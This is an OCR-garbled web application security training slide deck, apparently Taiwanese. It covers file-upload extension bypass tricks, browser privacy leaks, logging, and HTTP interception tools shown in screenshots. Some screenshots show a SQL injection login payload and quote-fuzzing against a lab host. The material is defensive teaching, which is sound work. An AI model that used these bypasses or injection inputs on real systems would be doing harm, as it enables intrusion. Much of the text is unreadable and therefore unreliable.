ViR — B!

— .gif.php (% ERE L)
— %2E%70%68%70 (> .php)

— .pHp
PRELAEE
ViLE R

- FRAEREIMAR  THEBFHERZET(RER
RAB ERPAT) °

VL EH
B R R A -




Attack Local Privacy




Attack Local Privacy

o

&

&
|l

> B REGFRIESE
E@._ﬁ_ 66%%” o

> R JR I 6 %

v Persistent Cookies

— f£Set-Cookie F 7+ F expires B B R R &R » 24k
—REHGHEFLER

Set-Cookie : UID=d475;expires=Wed, 10-Oct-09
16:08:30GMT

v'Cached Web Content
— Non-SSL Response 183% T €4 %] & 5 cachese Rk
— IE £ 4% £ Registry




Attack Local Privacy (cont.)

v'Browsing History

— http://rad.msn.com/ADSAdClient31.dlI1?GetAd=& PG=IMSTWN
&AP=1007

- RSB T TRT A RETH
v Auto-complete

—IE : #2147 &£ Registry

—Firefox : B 5 AR



> 8 0% #4840 F k£ 18 persistent cookie JM?
% WAL AT
v Bp 4k 3% B ik e 5, R 7T fE#K replay
v 7 Set-Cookie ¥ R & % 4 expires B £
> B % 4% 80 B o #%8 B Bcachef:

v'Response Header :
Expires: 0

Cache-control: no-cache
Pragma: no-cache



by # & i%(cont.)

> f M TS BURL £ 3R TR
vV E I EHEZAPOSTH X fuh {834
v B ¥ Hfu b SSL

> &£k 2R 0 B B auto-completes) 5E
v autocomplete=off




-~ Log ~ Audit & Notification




Ao EgELEaE 3A

Authentication
(5 4 38%)

Authorization Audit
(7R 4 & E) (% 2-78#)
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rRH RO ERARTES

>Rt g s )
VBN KK B E
VEEGD S SUHUBENYE  FTHEEX
vV BABRGER
VEBRERZEEXETRAFR
VIEE LS
VEZHRERR H (ORI KE)
V REE G EREA
VI H4E - MIRMERAE
VEBAGLEBHIER . Special for & 3 %
VERLEE/ITE —
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Log (cont.)

> B &G RAEEE Log o4k
VSR RN M
— T | A A A & 5 #c 89 Web Service R 47T
v K B R R TR E
v /e % #4537 (Optional)
- MRAEZBTHENRERG
BB R RE A GEITESL

vV &R R
v' £ 7 Data-Rotation &) # &

238



FRAEMBARGRE >2XLTE
> J& X B ALE e Log
VEBIATFTIR:
- BHETE
- BATHBENEERE (2 2% LEFLog)
— ¥ A 1% & SOC(Security Operation Center) % & °
BITEAREGH -
> RIFRER
VIR E BT RE
VELENAKEITAES M EER

239



Notification

> AT Ak s 37 38 Kok A &
v bR BN
VERSE  SREBNFF - EBEX
VAR AF R 15 B
VIR TERR S
> i@ %044 7R 3% 1B out-of-band £t 1)
V&R
VEBREH
v'Email
SN AT E R T RECEH A






>HTTPH EB R LB
v Browser Extensions
v"Web Proxy

> R A A T B
> 3L Bk T B
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» Browser Extensions — IE

v' TamperlE
— http://www.bayden.com/Other/
- ANHBEB RS2 HSSH
— 9] 438 Javascript # R
v HTTPWatch
— http://www.httpwatch.com/
— B85~ IE #9485 —f@BRequest - & Response
— {135 /R4 MABH

vHTTP Analyzer

— http://www.ieinspector.com/httpanalyzer/
— /L HTTPWatch

— HAStandalone)g AT RIERABFAE BT B




TamperlE

TamperlE Contool Panel
J,.&f" [# Tamper with HTTP POSTS:

_ﬂ [~ Tamper with HTTP ETs

This space inkentionally left blank. :-)

TamperlE -- Edit Be
'”'*;35;__ Internet Explorer is attempting to send data to the following page:

& Send altered data

% [hetpef1192.168. 16,1 fboard 7user=admin

1
i

Configure this toaol...

¥ Send onginal data

You may tamper with this data using this dialog,

adrmin=0

Faw Headers
Zookies

E= Walue

Lser adrmin
pass "or "=
submit Subrnit

3

Haw s PrettyPOST |

> Edit Field: |user adriin




HTTPWatch(Commercial)

HEE SSE A0 HHR%@ TED ¥ 0
QiF-0- = 2 5 ne Loaose © v &
FBUED) [&) it bid yahoo som =

YAaHOO! jre=e p 2882 EREE | RN YahooE
Aﬁ@ HE & weme wosn

%048 | 3CHE | =ERE | WwFUNGE CoBES R On s (D ASHE A8 (DR
| £ [BBT -] #3 |emes
i _ r
X N0 Becord [ Stop 4] Clear View v =3 Swmmery () Find - 57 Filter - [ Save ~ 2 Help ~ I

Starked = Time Sent | Received | Method Result Type

00:00 = 4  GET 1] b i ;
00:00:00,179 0.456 30a Z1046  GET Z00 texticss httpe 1 vimng. comytw, wirmg , comyifbwg auckionaulyauc_080124, css7y=0802 1508
00:00:00.150 0,178 794 5747  GET 200 image/oif httpe 1 vimng. comytw, sirmeg, comyifbe auctiongauf auc_logo.gif
00:00:00,180 0,179 29z 1341 GET 200 image/qif httped feva vimg, comfiftw/c2efimages)label_n_escrom3d_z. gif
00:00:00,305 0.210 351 2713 GET 200 image/ipeq httpef b image. bid, wahoo, comfusers) 214063k 21 1-thurmb-1201 40595411
00:00:00,302 0,245 355 6333 GET 200 image/jpeg http:f fbva.image. bid, wahoo, comfusers) 3150502 /fu. skar- 12 33-thumb- 1 20326466
00:00:00.307 0.300 350 11587 GET 200 image/jpeq http: )t image.bid vahoo,comjusers/0f 21909 zx5207 2x-thumb-1 203269752479
00:00:00,307 0.093 Z90 329 GET 200 image/gif htbpef feva wimg, comyiftw auctions|sm_external/market. gif

| 00:00:00,308 0.286 358 5023 GET 200 imaoefinea httD:J'J'tw.imaae.bid.vahoo.comJ'usersJ’DJ’4J’5f6fneIsnnIivoI1123-thumb-1 1303368

4

Crveriew | Time Cha.rtl Headers' CDUkies' Cache | Cery Stdngl FORET Daiﬁl Content  Stream I

385 bytes sent bo 203.84.193.252:80 (}, Find [% Esxport 68974 bytes recelved by 192,168, 16,2:3596 in 4 chunks (| Find [ Exp
GET / HTTP/1.1 4 |||[|HTTP/1.1 Z00O OE ﬂ
Accept: image/gif, image/x-xbitmap, image/jpeyg, imagefpiped, applicat.in— Date: Sun, 17 Feb 2008 1%:40:1% GMT
—_ Locept-Language: zh-tw Bet-Cookie: B=bgmr9pp3rhicsib=3&s=fd4; expires=Tue, 0Z-Jun-z037 E0:00:00
i M cocept-Encoding: gsip, deflate P3P: policyref="http://pip.vyahoo.con/wic/pip.xml", CP="CAD DEP COR CUR
TE' User—Agent: Mozilla/4.0 {(compatible; MEIE £.0; Windows NT £.1; 8V1l, N Expires: Thu, 0l Jan 1970 1Z:34:5¢& GHMT
§ Host: tw.bid. yahoo.comn Cache-Control: no-store, no-cache, must-revalidate
“E Connection: Heesp-iliwe Cache-Control: post-check=0, pre-chack=0
E _|||FPrayma: no-cache
% Comnection: close
= Fl||Transfer-Encoding: chunked 1
£04] | rIJ 4| | rlﬂ
= =]
e BRERRE I Z




HTTP:R 8 8 2 T A (cont.)

> Browser Extensions — Firefox

v'Tamper Data
— https://addons.mozilla.org/firefox/966/

v'Add N Edit Cookies
— https://addons.mozilla.org/firefox/573/

v'Live HTTP Headers
— https://livehttpheaders.mozdev.org/

v HttpFox
— https://addons.mozilla.org/firefox/addon/6647

v'RefControl
— https://addons.mozilla.org/firefox/addon/953

v'HackBar
— https://addons.mozilla.org/firefox/addon/3899




Tamper Data

¥ Tamper Dats
Stert Tamper  Stop Tamper Clear Cptionz  Help
Filter | Show A1l |
Time | Duration | Total Duratinn | Size | bethod | atatus | Content Type | uRL | Load Flags ]
344:32706 31 me 78 ms 2305 PORT 200 tezctrhitrl hitpf192.1.. LOAD DOCTIM. .
344:42799 33 me 03 ms 1129 GET 200 texctrhiml hitp:#192.1.. LOAD DOCTIM ..
34444581 31 ms 62 ms 1130 GET 200 teacthitml hitp:#192.1... LOAD DOCTIM...
34446143 31 ms 7R s PENL GRET 00 tessctfhrn] htn192 1 LOAT DOCTTR
34446737 3l ms Tamper Popup
344:48143 94 me
34445971 16 ms ~ http:#192 168.16.1/boaxd/ ~
344:49027 15
e Eequest Header Name | Request Header Value Post Parameter Mame | Post Parameter Value |
Host | 192.168.16.1 uzer | admin
User-h gent | Mozilla/5.0 (Windows; 1T; Windows NT 5.1;2h-TW ||| msg | 1
Request Header Name
ﬁ'm et Accept I terttoml application/onlap plicationddhiml+ somn, text post I POET
wr-A e
Arcept
AsceptL Accept-Language I gh-twen-usy=07eny=02
Accept-Encodi . -
i cceit_ChMTg Accept-Encoding I gzip,deflate
Keep-Llive -
Connection Aecept-Charset | Big5,nt-8=0.7, =07
Referer
Coolkie Keep-Alive | 300
Connecton I keep-alive
Eeferer I hitp:##192.168.16.1/board !
Cookie | admin=0
fEE KTid




Add N Edit Cookies

I google com Filter/Refrezh
Site | Conkie Hame

docs. google com GDE_FREF

docs google com __utma

docs google com __utmz

zoogle com __ntma

zoogle com aC

google.com — i Add/Edit Cookie

ED0eleicomn uin ~ Information abont the selected Cookie
zoogle com PREF
zoogle.com __utme Mame: I PREF
. b
google.com PEEEIbErE Content. | ID=1421410b3ba726¢5: Thi=1 198332757 LM~1198932757 55 TLq VaSEYS TLiKsm
zoogle com __utmz
zoogle oot PREF Do I google com
wy gongle oo 3
Path: | !
Watel The list above iz not npdated antormatically when ;
-~ Information about the selected Cookie ———————— | Sepd For: | O Any type of comnection ¢ Encrypted comnections only
Name: .
Content: [
Host: o Expires: | 20098E12H28H T 03:52:38
Path: Expires: {~ Expire at end of ssion
Hend For:
Expires: " Mew expiration date:
Selection: Cockie; ———
an
Edit
Invert
Tiptinns;

Have Cloze




Live HTTP Header

Headers | Gen&r&tu:ur' Cunfigl ﬂhuutl

HTTP Headers

http it oo gle oot

GET/HTTFPI 1

Hozt: e google com. b

Ter-A gent: Mozilla/S 0 (M indows; T; Windows NT 5.1 eh-TW; rv:1.8.1.12) Geclko/20080201 Fiefor.00.12

Apcept: texthomlapplicationdtonl,ap plicationShbnld o, et jy=0.9, text'plain g =0 8, ima geipng, ¥ ¥ =015

Apecept-Langnage: sh-tw,en-nzg=0.7,enpy=0.3

Apcept-Encoding: gzip,deflate

Apcept-Charset: Bigh,utf-8p=0 .7, ¥q=07

Eeep-Alive: 300

Connection: keep-alive

Coolde: BE=flurhhtipanmlfb=38e=in; FEEF=ID=se] 0e402400084ef FF=4 L D=ch-T W NE=10:Th=11930227 58 LM=1 20040321 0.2=HFE W~ .

HTTE/M 2 200 0K

Cache-Contol: private

Content- Twpe: texthbml; charset=T TF-3
Content-Encoding: gzip

BETVEL gWs

Content-Length: 2882

4T e A A e a1 em

J

Save Al Replay... | v Capture Clear Cloz=
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BEE &EE WRO FRE FEE
X .

- [ wo [ttt bid yshoo comy

OX Y7 Yahoo! A EI 077, fdE D (5 |

HEBA
FiERE 7 LRI

HO !

MEEEE  EONSRERSE L

EAE HEE ICE FEE WFUNE X8
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Co#EEEA Gn BRTHE (D REHE Lf (2R
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HIFEE | BEfEekA | YahoolsyEF

TRt R HE R

HE | EEES

AlElF TR ZHE #TE AL0 H-ASARR ﬁgikﬁi‘ fodiln £ el

L AT WD e o

o= s S =

[FEESR] 2 LERSD > BEIFisRmE

ERHEE .E '
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€ _[MaiE] XBI60) Fist ¢
€ TOSHIBARS 104 Filiiitise
) ®=ASO-BlxggE ) [AD7E4
€ BEWi HiA) RS
O e BEEEREE e ~B

B D e R AT

o7 AR REED |

!&%ﬂu %m :
S G

€0 _[MmEEE] ¥BIR0AR,
E
ST S B e T I inasall |
Started Time Received | Method | Result Type URL i
: 0.920 (3 200 texthitml | a m
00:12:41 514 0.265 7517 GET 200 fextiss hitp: .".flynmgcomhw yimg comdiefanctiondranten:_hp 080724 css
00:12:41.516 0.322 193 GET 200 imagelgif hittp: ALy comtw g comide o ionAandans_logo. gif
00:12:41.551 0.203 193 GET 200 imagedgif hitp:#yimg comite yimg.comAdtwane ionec 080758035, gif
00:12:41.554 0.393 253 GET 200 imagelipeg hitp:Aitw image bid yahoo comfsrst8/5 8/ a4 1 5-thumb-121 30425851 05469-7 jpg
00:12:41.556 0.370 117 GET 200 imagelgif hittp:Aitwe i comdifwfamctiondsm_externalimarket. gif
00:12:41.559 0453 253 GET 200 imagefipes hitp:fite tmage bid yahoo commsers 730/ ensepia- thumb-1218389997823373-4 jpg.
00:12:41.561 0.409 253 GET 200 imagelipeg hitp:fitw image. bid yehoo comfzrsS381 badlvinB88- thumb- 1218781 1935906532 jpg
00:12:41.563 0.469 253 GET 200 imagelipeg hitp:#itw image bid yahoo comfusrs 742/ Bhutoee 1 88-thumb-1218897706644053-3 jpg
00:12:41.586 0.496 253 GET 200 imagelipeg hﬂp xnw m]age bn:l yahoo com!u.sers!4!?f4.’9fs‘lar89201052 ﬂwmb 121902072290630-4 jpg d
Hesrlers | Coakies | Query Shing | POST Data | Content |
Request Header I Value I Response Header I Value
(Request-Ling) GET/HTTR/A L (Status-Line) HTTRA.1 200 0K
Host tw bid yahoo com Date Mon, 18 Aug 2008 17:24.54 GMT
Tar-4 gent Mozilla/5.0 (Windows; UT; Windows NT 5.1;zh-TW; nv:1 2.0.1) Gecko/200807020= | |Set-Cookie B=(00i2pA4ajc 368b="H=ef; expires=Tue, 02-Tun-2037 20:00:00 GMT; path=/; d-*
becept textthtmlapplication/himl+:anlapplicationsanly=0 9, %*3=08 P3P policyref="http:#p3p yahoo comby 3eip3p saml”, CP="CAD DEP COR CUR ADM ==
Aecept-Language sh-tw,en-usyy=0.7,eny=0.3 Expires Thu, 01 Jan 1970 12:34:56 GMT
Aecept-Encoding gzip,deflate Cache-Control no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Accept-Charset Bigh,utf-8y=0.7,%y=07 Pragma no-cache
Keep-Llive 200 Connection close
Connection keep-alive Transfer-Encoding chunked
Content-Type textthiml; charset=hig5
| = o e | mEmmE ]




HTTP:R 8 8 2 T A (cont.)

- » Web Proxy
v Burp Suite

— http://portswigger.net/suite/

v Paros

— http://www.parosproxy.org/

v Odysseus

— http://www.bindshell.net/tools/odysseus

v" Fiddler

— http://www.fiddlertool.com/fiddler/

v" WebScarab

— http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

v SPIKE Proxy

— http://www.immunitysec.com/resources-freesoftware.shtml

v" Achilles

— http://www.mavensecurity.com/achilles




Burp

& burp snite v1.2.01

hurp intruder repeater window  help

rtarget rpruxy rspider |’scanner rintruder rrepeater rsequencer rdecnder rcnmparer rcnmms ralens |

gite map | scope

Filter: hiding not found iterns; hiding CSE, image and general hinary content; hiding 4 responses; hiding empty folders

o= hitp:fhlogsearch google. com b
o= http:ficlients 1. aoodle. com b

o= hitp:fidocs.google.com

o= hitpfMimages.google.com. b

o= http:fimail.google.com

o= hitpfimaps.google.com b

o= hitp:finews google.com b

o= hitp:fpicasaweb google.com b
o= hitp:frsites. gooale com

o= hitp:franslate.google.com. be
o= hitp:fasaeee.google.com

o é https: M. google.com

o ﬁtp:n\u\-ww.gaugle.cum.tw

o= hitp:Masvene youtube.com

host method URL status | length | MIME type titler
hitp:itasntey google. com . be GET ! 200 7526 HThL Google -
hitpcitasntey gooale. corm b GET feziTy=38s=webhp&action=E&tran=undefined&e="17259,212498,214598&ei=F .. |204 24
hitpcihasnney gooale. corm b GET fevtern_jsMiCovBact LV CdHerAo4LUADLC swDjgFLC swFjgMLCswFzgD .. [304 1149 3
hitpefiwanne. gaagle.com. b GET fintlfen_comiimagesioga_plain.png 304 221
hitp: sty google. corm. b GET raclk = |
hitp:fhasnney google. corm b GET faclk?sa=L&ai=Chyj_03aD5sq3Dlayo0Tym-2nCkxUj 4B rd_0zB2727ExA. HThL
hittpeihasnney gooale. corm fe GET fadvanced_search
hitpefiwsnne. gaagle.corm b GET fadvanced_search?hl=zh-TWW HTHL
hitp:ifannney, google.com. b GET fcsi
ittty qooale. corm b GET fintlizh-Twrakhout biml HThL - |
1] Il v |
l/ respanse |’ request |
rawy |’ headers |’ hex |’ htrml r render |
HTTPA .1 200 OK sl
Date: Thu, 13 Aug 2009 02:27:35 GMT
Expires: -1 1
Cache-Contral: private, max-age=0 I
Content-Type: text’himl; charset=UTF-8
Server gws -
Content-Length: 7347
=html==head==meta http-equiv="content-type" content="tesdMhiml; charset=UTF-8"==title=Google=fitle==script=window google={kEI"F 3gD S0 aLJSCowTi9pOmag”,
KEXPI" 7259 21298 21458" kCEIE" 72559,21 298 21 459" kCSI{e™ 7259, 212088, 21459 pi"F3gD505aL)SCowTj9pDmag", kKHL . "zh-Tww" Y,
window google sn="wehhp"window google timers={load{t{start:(new Date) getTime O indwindow google pt=window gthExternal &&window gthExternal paneT
|window. external &&window external pageTcatch(b)}
window google jsrt_kill=1;
war _gjwi=location;function _gjucfvar b=_agjwl hrefindexOi"# ) ifth==00{var a=_ogjwl.href substringih+ 13" &=/ test(a) &&a index O #"==-1 L&II"| &cad=h{§| &) testia))
{_oiwl replacedfsearch™ +a replace (| &fp=["&]% "1 +" &ead=h");return 1}return 0unction _gjipOddwindow _gjwl hash&Ewindow _gjiuc)&&sefTimeout!_ojp, 5000}
window _gjp && _gipQ=iscript==style=hody.td,a,p, hffont-family arial sans-serit}. hicolor#36e font-gize: 20px} ofcolor#00c )k ts td{padding 0} ts{border-collapse:collapse} |
#ohar{height: 2 2pxtabh gbd{horder-top: 1 px solid #c9d71 font-size: ! ped.abhiheight:0;position:absolute top: 2 4pcwidth: 1 00 % Rohi #abs{hackground # et 0 position: -
=] | 0matches




Paros (=2 Free Web Scan)

File Edit View Analvee Eeport Tool: Help

Hites |

Eequest| Response  Trap

B Sites
E.ﬁ http:#192.168.16.1
o GET bhosed (i)

POST hitpr1 92168161 /board/?id=17 HTTRM.0

Accept imagelgif, imagei-xhitmap, imagefjpeg, imageijped, applicationf-shockwave-flash, applicationtnd. ms-excel, applicationind. ms-powerpaint,
applicationimsward, **

Referer: hitpaf1 92 16816 1/baardPid=17

Accept-Language: Zh-t

Content-Type: applicationi-wiss-form-urlencoded

Fromy-Connection: keep-Alive

Uzer-Agent: Mozillard.0 {compatible; MSIE 6.0; Windows WT 8.1, 81, WET CLR 2.0.60727)
Host 192.168.16.1

Content-Length: 34

Fragma: no-cache

PN FHEC R FrTR e y |

user=admin&msg="%27 %27 %27 &post=P 05T

IRaw View vI ¥ Trap request [ ’I'Iaprespnnsa Continne | Drop

1 GET  hitpi192168.16. 1 board/?id=17 200 0k 32ms

History | Spider | Alsrts | Ontput |




o 45 75 #z B T B (Commercial)

» HP DevInspect

v" https://h10078.www1.hp.com/cda/hpms/display/main/hpms_cont
ent.jsp?zn=bto&cp=1-11-201-200%S5E9564_4000_100__

» Parasoft
v" http://www.parasoft.com/jsp/home.jsp

» Fortify 360 SCA(Source Code Analyzer)
v’ http://www.gss.com.tw/tw/IT-tools/Fortify-SCA.htm

v" http://www.fortify.com/products/detect/in_development.jsp;jsessi
onid=FE6FC1EFD16D72EF59191714521AB1E9

> Klocwork

v http://www.klocwork.com/products/?_kk=code %20review %20to
ol&_kt=f237adfe-c22e-44ff-af59-0a79f6d8abc7 &gclid=CLI-
uNXJnSwCFQkwpAodA2J cw

> a5 # # -CodeSecure

v" http://www.armorize.com/?link_id=codesecure




o 45 75 #z B T B (Commercial)

» Parasoft

ITes TR AR T A B HTMBIZRE [ Test cases ) » HamessshStubs + BTTT$ JavaZ 25 M BFEEIE [ Biack-box testng | ~ EIFEHIER
JTest [ White-box testing ) ~ [BIFEEIE [ Regression testing | FxStatic AnzlysiaIBEnEEL TR » B {Ssn0msE -
(S#4mER )

dotTest TEEEESHA4TCH, VB NET, MC++Z BB IF B EhE £ B miBEL(Unit Testing) BIELAHI(NUNIC Test Cases) » thEEES 2 BIELALIE
dotTest | BEETZENUNGET, » LIFIRTEE .\ SIS F i -
(E¥4mErEd)
C++Tes MRz Aar sTEN-T- AT TEE S [ Test cases ] ~ HarnessgkStubs » BT (e C++ - TR A B BIEL B Static AnalvsisgnBEnBIEL T
C++Test (B -
(E¥4mEred)
5 SOAP EWeb Serviced)—IRIEERRTE » TRSHEIREANDM  1BFLHE » SOAPLestBIR Bt SO APIRER{E- TH -
SOAPTest (2T
L WebKing 2BHEIEThEE - WEERFEE S BETER - WHEEParacoft $ERTAMER [ Automated Error Prevent ] Ttk —IR -
WebKing (SE4EEREE)
Insure++RBIERUNtMeIER BiEEEMET B » TtiBlH RS b 7858 » 10 - Mﬂml:uw corruption » Memary leaks Mnmnr-e allocation

Insure++ |error ~ Varizble initizlization errors ~ Varizble definition conflicts ~ pointer errors ~ Library errors » FOEEEEE S0 208k [ F0E = 450 -
(E¥4mErEd)

—

255
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o 44 75 4% 73] T B (Commercia

> [T 75 #1 $ -CodeSecure

CodeSecure™

D) technologies  oME = ADMIN | CONFIGURE = SCAN = ANALYZE | HELP

= Menu @9 Lastscan | | ScenHistory | [2] Workbench Download

I Current Scan Details Analyze Your Last Scan

171209 30416 FM
1 ricaste aga)
Duration 1 minLte

Scanned Files 163 Vulnerability Type Distribution Vulnerability Depth Distribution | Vulnerability Severity Distribution

Start

Scanned Lines 16 EEE a0

Vulnerable Files 25 N ™ avg. Depth 0,66 g

Vulmerable ai o

Statements Y 4

=) =

R sulting 121 - z

Vulnes es B T3
nerable Entry 34 240 -

I 2w 2

Paoints

@ | Generate HTML Repont

= Ganerale POF Report 0 | - 0l Y 0 |
L L 2 4 ] 7T 5 4 3 210
Export Rules
\é—' e B Depth Depth
B E:cport to sl
B Cross-Ste Scripting (OWE 79) B Directly exposed vulnerabifies
Backio & | W information Leak of System Data (CWE 497) | | B Vuneratiites with high risk
il Back 10 Scan HiHory El HTTP Response Spiting (CWE 113) I vidnerabiities at moderate depths
2 Vidnerabities at e exposine depths
4 Current User Vulnerability List w
Username  admin .
Hame Dioemin A ! = T
= DEHelper ¢z i System ICWE 3 514
Fole DheTiainy awdivin * Infarmation Leak of Dt 497) ciondl435e1 5000 0 M5 i aspx
8l Looout # recipedetsl asoe  Cross-Sie Scripling (OWE 79) El 4! i 5000 0 55  recpedetsdaspy
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» Acunetix
v" http://www.acunetix.com/

> HP Weblnspect

v" https://h10078.www1.hp.com/cda/hpms/display/main/hpms_cont
ent.jsp?zn=bto&cp=1-11-201-200%5E9570_4000_100_

» IBM Rational AppScan
v" http://www-01.ibm.com/software/awdtools/appscan/
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» Acunetix
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- » HP Weblnspect
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» ab (Apache Benchmark)
v’ http://httpd.apache.org/

» JMeter
v http://jakarta.apache.org/jmeter/

» Microsoft Web Application Stress Tool

v http://www.microsoft.com/technet/archive/itsolutions/
intranet/downloads/webstres.mspx

» Microsoft Application Center Test

v http://msdn2.microsoft.com/en-
us/library/aa287410(VS.71).aspx

> .... Many tools
v http://www.softwareqatest.com/qatweb1.html




48 3k B £ A3 T B (Commercial)

» HP Mercury LoadRunner

v" http://www.mercury.com/us/products/performance-
center/loadrunner/

» IBM Rational Performance Tester

v’ http://www-
306.ibm.com/software/awdtools/tester/performance/index.html

» Compuware QALoad

v" http://www.compuware.com/products/qacenter/qaload.htm

» Radview WebLOAD

v" http://www.radview.com/product/description-overview.aspx

» Borland SilkPerformer

v" http://www.borland.com/us/products/silk/silkperformer/index.ht
ml

> Em;irix Web Applications Testing and Monitoring
Solutions

v" http://www.empirix.com/products-services/web_applications.asp
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Security Risk Analysis & & &

> Dell 435 F46948 %
VES B RBEABKEBRESERLXAETE
\/},ﬁ .
—BEFRE: ABES > BfTARE Ak Review 2?
- REER: REENREEL?
v B AR IR
— LRI AT R R BT B RS
>BEEBEREALGEMAT T EOZERH |
> BEAL ey F X 4 £HOLA!

v' http://www.isecutech.com.tw/article/article_detail.aspx?tv=11&a
id=5435
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>
>

>

Z4 . T HTTP Essentials ; - Stephen Thomas

Z 4. T Writing Secure Code 2" Edition j - Michael
Howard ~ David LeBlanc

Z4: T The Web Application Hackers Handbook ; -
Dafydd Stuttard - Marcus Pinto

Z 4. T Hacking the Code (ASP.NET Web
ApplicationSecurity) y - Mark M. Burnett -~ James
C.Foster

4 % & # : http://en.wikipedia.org
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> OWASP

v' Top Ten Project
http://www.owasp.org/index.php/OWASP_Top_Ten_Project

v' Guide Project
http://www.owasp.org.tw/index.php/Category:OWASP_Guide
_Project

v ESAPI Project
http://www.owasp.org/index.php/Category:OWASP_Enterpris
e_Security_API#tab=About

» IBM Demo Site :
v'  http://www.testfire.net/

» The Cross Site Scripting (XSS)
v"  http://xssed.com/

» The Cross Site Scripting (XSS) FAQ
v' http://www.cgisecurity.com/articles/xss-faq.shtml
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» DOM Based XSS
v'  http://www.webappsec.org/projects/articles/071105.html

> SQL Injection (5 #[845)- 8% % %) SQLR Z %R, :
v' http://www.microsoft.com/taiwan/sql/SQL_Injection_G1.htm
v'  http://www.microsoft.com/taiwan/sql/SQL_Injection_G2.htm

» Java EE — use strongly typed PreparedStatement, or
ORMs such as Hibernate or Spring

v' J2EE Prepared Statements:
http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.ht
ml
» NET - use strongly typed parameterized queries, such
as SqlCommand with SqlParameter or an ORM like
Hibernate

v" How to: Protect from SQL injection in ASP.Net
http://msdn2.microsoft.com/en-us/library/ms998271.aspx

273



» “How CAPTCHA got trashed”
v'  http://www.computerworld.com/s/article/9104619/How_CAPT

CHA _got_trashed

» CAPTCHA Decoder
v'  http://caca.zoy.org/wiki/PWNtcha

> “Why File Upload Forms are a major security threat”

v http://www.acunetix.com/websitesecurity/upload-forms-
threat.htm

» HTTP Response Splitting

v'  http://download.boulder.ibm.com/ibmdl/pub/software/dw/rich
media/rational/08/appscan_demos/httpresponsesplitting/viewer.
swiftrecorded_advisory

> 2009 CWE/SANS Top 25 Most Dangerous
Programming Errors”
v"  http://cwe.mitre.org/top25/index.html
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